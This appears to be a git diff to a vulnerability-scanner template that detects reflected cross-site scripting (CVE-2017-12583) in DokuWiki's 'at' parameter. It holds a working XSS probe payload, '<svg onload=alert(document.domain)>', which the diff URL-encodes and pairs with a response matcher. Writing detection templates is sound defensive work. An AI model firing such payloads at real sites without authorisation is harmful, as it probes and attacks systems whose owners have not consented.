diff --git a/cves/2017/CVE-2017-12583.yaml b/cves/2017/CVE-2017-12583.yaml
index 32eeae30d3..232be74216 100644
--- a/cves/2017/CVE-2017-12583.yaml
+++ b/cves/2017/CVE-2017-12583.yaml
@@ -18,14 +18,14 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=<svg onload=alert(document.domain)>'
+      - '{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>'
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - 'Unable to parse at parameter "<svg%20onload=alert(document.domain)>".</div>'
+          - 'Unable to parse at parameter "<svg onload=alert(document.domain)>".</div>'
 
       - type: word
         part: header